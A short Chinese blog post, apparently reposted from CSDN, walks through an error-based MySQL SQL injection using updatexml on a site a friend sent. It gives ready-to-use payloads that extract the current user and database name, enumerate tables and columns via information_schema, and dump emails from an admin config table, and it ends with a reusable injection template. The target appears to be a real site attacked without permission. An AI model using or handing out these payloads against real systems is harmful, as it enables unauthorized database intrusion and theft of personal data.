记一次简单的 updatexml报错注入

朋友发的,问怎么注入
在这里插入图片描述
有大佬发了,报错注入。那就来锤他
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
mysql CONCAT()函数用于将多个字符串连接成一个字符串

查询用户updatexml(1,concat(0x7e,(select user()) ,0x7e),1)–+


查询数据库名称updatexml(1,concat(0x7e,(select database()) ,0x7e),1)–+

在这里插入图片描述
查表 updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=库的16进制 limit 0,1) ,0x7e),1)–+

在这里插入图片描述

查列名updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=库的16进制 and table_name= 0x70675F61646D696E5F636F6E666967 limit 2,1),0x7e),1)–+

在这里插入图片描述
查询具体数据updatexml(1,concat(0x7e,(select email from pg_admin_config limit 0,1),0x7e),1)–+
在这里插入图片描述

总结,简单无干扰的报错注入
updatexml(1,concat(0x7e,(普通注入语句),0x7e),1)–+基本就能注出数据了
写的很low,拒绝反驳

猜你喜欢

转载自blog.csdn.net/ws13129/article/details/88778557
今日推荐